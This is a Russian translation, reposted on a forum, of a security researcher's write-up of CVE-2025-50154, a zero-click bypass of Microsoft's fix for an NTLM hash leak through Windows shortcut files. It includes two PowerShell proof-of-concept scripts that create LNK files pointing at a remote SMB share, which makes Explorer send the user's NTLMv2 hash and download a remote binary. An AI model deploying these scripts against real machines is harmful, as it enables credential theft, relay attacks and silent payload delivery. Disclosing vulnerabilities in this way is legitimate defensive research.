LIMB
АВТОР СТАТЬИ: Ruben Enkaoua
Ссылка на оригинал:
Новая уязвимость с идентификатором CVE-2025-50154 позволяет злоумышленнику извлекать NTLM-хэши без взаимодействия с пользователем, даже на полностью обновлённых системах. Используя едва заметный пробел в защите, атака автоматически инициирует запросы NTLM-аутентификации, что открывает возможности для офлайн-взлома или атак relay с целью несанкционированного доступа.
Риск значителен: атаки NTLM relay могут приводить к повышению привилегий, движению по сети и удалённому выполнению кода, особенно прицеливаясь на важные аккаунты. Поскольку для эксплуатации уязвимости не нужно никакого действия пользователя, расширяется поверхность атаки для организаций, полагающихся только на апрельский патч Microsoft.
Мы ответственно сообщили о находке Центру реагирования Microsoft Security Response Center (MSRC), и уязвимость получила официальный CVE-идентификатор. Ожидается, что новое обновление безопасности полностью устранит проблему.
Хотя NTLMv2 защищён от предварительно вычисленных атак, таких как радужные таблицы и pass-the-hash, захваченные хэши всё ещё могут быть использованы злоумышленниками. Атакующие могут пытаться взломать их офлайн или применить атаки relay — метод «человек посередине», при котором украденный хэш передаётся другому сервису для входа от имени пользователя. Если взломанный аккаунт обладает повышенными правами, это может быстро привести к эскалации привилегий и движению по сети.
Фактически Check Point опубликовал блог, описывающий CVE-2025-24054. Однако даже после выхода патча Microsoft по этой уязвимости мы нашли способ его обойти и всё ещё получить NTLM-хэш, что доказывает, что угроза не была полностью устранена.
Я запустил SMB-сервер для прослушивания входящих SMB-соединений, используя сниффер Wireshark для анализа поведения клиента при раскрытии хэша на основе файла ICO.
PowerShell:
Будет создан ярлык (LNK) с иконкой, расположенной на удалённом SMB-сервере. При запуске и просмотре этой иконки в Проводнике мы получим NTLMv2-SSP хэш текущего пользователя, запустившего процесс explorer.exe.
В патченных системах Windows выпустила обновление безопасности, чтобы это предотвратить. Я протестировал то же самое на другой патченной Windows 10 VM:
Запустил тот же скрипт, и иконка не была загружена:
Можно увидеть, что в отличие от предыдущего случая, иконка не отображается. Также хэш не раскрывается
PowerShell:
Процесс explorer.exe тянет это напрямую из секции .rsrc, из хедеров RT_ICON и RT_GROUP_ICON.
Патч нацелен на то, чтобы срезать отрисовку иконок у ярлыков, если они ссылаются на UNC-пути, но он не трогает бинарники с удалёнки, у которых иконки уже зашиты прямо в сам файл.
Запуск скрипта:
Без клика процесс explorer.exe тянет не только секцию .rsrc, но и весь бинарь целиком, чтобы вытащить иконку.
Слив NTLMv2-SSP хэша:
Также весь бинарь уходит без какого-либо клика, что видно в Wireshark:
Файл скачивается автоматически без клика. Хотя сразу он не запускается, такое поведение всё равно опасно, потому что даёт атакующему возможность закинуть вредонос напрямую на машину жертвы без её ведома. Так как на этом этапе никакого запуска процессов не происходит, многие средства безопасности могут просто не заметить активность, и файл останется незамеченным.
Когда бинарь уже лежит в системе, его можно дернуть позже — и тогда атакующий сможет развернуть малварь, спилить креды или пойти вбок по сети. Даже без мгновенного запуска сама возможность так подложить бинарь — уже серьёзный риск, ведь это подготовка почвы для более продвинутых и разрушительных атак.
Файл подтягивается, что видно в экспортированных логах Wireshark:
Согласно мониторингу через sysinternals procmon, файл создаётся:
А также с выделением размера под бинарь:
Комбинация утечки кредов и скрытой доставки полезной нагрузки показывает, как атакующие могут склеить несколько слабых мест в мощный вектор компрометации. Это подчёркивает важность тщательной проверки патчей, стратегии «защита в глубину» и постоянного тестирования безопасности — даже в отношении уязвимостей, которые вендоры считают закрытыми.
Ссылка на оригинал:
Не удалось прогрузить медиа
Zero Click, One NTLM: Microsoft Security Patch Bypass (CVE-2025-50154)
Learn about CVE-2025-50154 and its risk of NTLM attacks and RCE even after Microsoft’s fix for CVE-2025-24054.
Не удалось прогрузить медиа
cymulate.com
Переведено для LIMB.cc
Резюме
В ходе наших постоянных исследований в Cymulate Research Labs я обнаружил уязвимость утечки NTLM-учётных данных без какого-либо клика пользователя, которая обходит патч Microsoft для CVE-2025-24054. Первоначальная уязвимость показывала, что специально сконструированные запросы могут вызвать NTLM-аутентификацию и раскрыть чувствительные данные. Microsoft выпустил обновление безопасности, но наши тесты выявили, что патч оказался неполным.Новая уязвимость с идентификатором CVE-2025-50154 позволяет злоумышленнику извлекать NTLM-хэши без взаимодействия с пользователем, даже на полностью обновлённых системах. Используя едва заметный пробел в защите, атака автоматически инициирует запросы NTLM-аутентификации, что открывает возможности для офлайн-взлома или атак relay с целью несанкционированного доступа.
Риск значителен: атаки NTLM relay могут приводить к повышению привилегий, движению по сети и удалённому выполнению кода, особенно прицеливаясь на важные аккаунты. Поскольку для эксплуатации уязвимости не нужно никакого действия пользователя, расширяется поверхность атаки для организаций, полагающихся только на апрельский патч Microsoft.
Мы ответственно сообщили о находке Центру реагирования Microsoft Security Response Center (MSRC), и уязвимость получила официальный CVE-идентификатор. Ожидается, что новое обновление безопасности полностью устранит проблему.
Введение
NTLM, что расшифровывается как New Technology LAN Manager, — это семейство протоколов аутентификации Microsoft, используемых для подтверждения личности пользователей и защиты сетевого взаимодействия. Протокол работает через прямой клиент-серверный процесс «вызов-ответ»: сервер высылает вызов, а клиент подтверждает свою личность, не передавая при этом фактический пароль по сети.Хотя NTLMv2 защищён от предварительно вычисленных атак, таких как радужные таблицы и pass-the-hash, захваченные хэши всё ещё могут быть использованы злоумышленниками. Атакующие могут пытаться взломать их офлайн или применить атаки relay — метод «человек посередине», при котором украденный хэш передаётся другому сервису для входа от имени пользователя. Если взломанный аккаунт обладает повышенными правами, это может быстро привести к эскалации привилегий и движению по сети.
Фактически Check Point опубликовал блог, описывающий CVE-2025-24054. Однако даже после выхода патча Microsoft по этой уязвимости мы нашли способ его обойти и всё ещё получить NTLM-хэш, что доказывает, что угроза не была полностью устранена.
Старая уязвимость
Для воспроизведения состояния уязвимости я установил непатченный Windows 10 на виртуальной машине без обновлений безопасности.Я запустил SMB-сервер для прослушивания входящих SMB-соединений, используя сниффер Wireshark для анализа поведения клиента при раскрытии хэша на основе файла ICO.
PowerShell:
Code:
$shortcutPath = "C:\Users\Cymuser\Desktop\LAB\lab.lnk"
$targetPath = "C:\Windows\System32\notepad.exe"
$iconLocation = "\\192.168.159.129\share\icon.ico"
# Create a WScript.Shell COM object
$wShell = New-Object -ComObject WScript.Shell
$shortcut = $wShell.CreateShortcut($shortcutPath)
$shortcut.TargetPath = $targetPath
$shortcut.IconLocation = $iconLocation
$shortcut.Save()
Write-Output "Shortcut created at: $shortcutPath"Будет создан ярлык (LNK) с иконкой, расположенной на удалённом SMB-сервере. При запуске и просмотре этой иконки в Проводнике мы получим NTLMv2-SSP хэш текущего пользователя, запустившего процесс explorer.exe.
Не удалось прогрузить медиа
The Hash:
Не удалось прогрузить медиа
В патченных системах Windows выпустила обновление безопасности, чтобы это предотвратить. Я протестировал то же самое на другой патченной Windows 10 VM:Не удалось прогрузить медиа
Запустил тот же скрипт, и иконка не была загружена:
Не удалось прогрузить медиа
Можно увидеть, что в отличие от предыдущего случая, иконка не отображается. Также хэш не раскрывается
Не удалось прогрузить медиа
Уязвимость обхода
Скрипт нужно изменить так, чтобы иконка была установлена по умолчанию (shell32.dll), а выполняемый файл — это путь к полученному удалённому файлу.PowerShell:
Code:
$shortcutPath = "C:\Users\Cymuser\Desktop\LAB\lab.lnk"
$targetPath = "\\192.168.159.129\share\execute.exe"
$iconLocation = "C:\Windows\System32\SHELL32.dll"
$wShell = New-Object -ComObject WScript.Shell
$shortcut = $wShell.CreateShortcut($shortcutPath)
$shortcut.TargetPath = $targetPath
$shortcut.IconLocation = $iconLocation
$shortcut.Save()
Write-Output "Shortcut created at: $shortcutPath"Как это работает
При просмотре ярлыков на рабочем столе для программ, например Chrome, иконка отображается даже если параметр IconLocation не настроен.Не удалось прогрузить медиа
Процесс explorer.exe тянет это напрямую из секции .rsrc, из хедеров RT_ICON и RT_GROUP_ICON.
Патч нацелен на то, чтобы срезать отрисовку иконок у ярлыков, если они ссылаются на UNC-пути, но он не трогает бинарники с удалёнки, у которых иконки уже зашиты прямо в сам файл.
Запуск скрипта:
Не удалось прогрузить медиа
Без клика процесс explorer.exe тянет не только секцию .rsrc, но и весь бинарь целиком, чтобы вытащить иконку.
Слив NTLMv2-SSP хэша:
Не удалось прогрузить медиа
Также весь бинарь уходит без какого-либо клика, что видно в Wireshark:
Не удалось прогрузить медиа
Файл скачивается автоматически без клика. Хотя сразу он не запускается, такое поведение всё равно опасно, потому что даёт атакующему возможность закинуть вредонос напрямую на машину жертвы без её ведома. Так как на этом этапе никакого запуска процессов не происходит, многие средства безопасности могут просто не заметить активность, и файл останется незамеченным.
Когда бинарь уже лежит в системе, его можно дернуть позже — и тогда атакующий сможет развернуть малварь, спилить креды или пойти вбок по сети. Даже без мгновенного запуска сама возможность так подложить бинарь — уже серьёзный риск, ведь это подготовка почвы для более продвинутых и разрушительных атак.
Файл подтягивается, что видно в экспортированных логах Wireshark:
Не удалось прогрузить медиа
Согласно мониторингу через sysinternals procmon, файл создаётся:
Не удалось прогрузить медиа
А также с выделением размера под бинарь:
Не удалось прогрузить медиа
Заключение
Эта уязвимость показывает, что даже мелкие дыры в патче безопасности могут оставить систему открытой для серьёзных угроз. Обход фикса для CVE-2025-24054 позволяет не только утянуть NTLM-хэши в сценарии без кликов, но и тихо скачивать удалённые бинарники без участия пользователя. Пусть они и не запускаются сразу, само их присутствие на целевой системе даёт атакующему плацдарм для более жёстких атак в будущем — кражи учёток, развёртывания рансомвара или бокового перемещения по сети.Комбинация утечки кредов и скрытой доставки полезной нагрузки показывает, как атакующие могут склеить несколько слабых мест в мощный вектор компрометации. Это подчёркивает важность тщательной проверки патчей, стратегии «защита в глубину» и постоянного тестирования безопасности — даже в отношении уязвимостей, которые вендоры считают закрытыми.
Переведено для LIMB.cc
👍67
❤️12
😮8
👏8
🤔21
💯6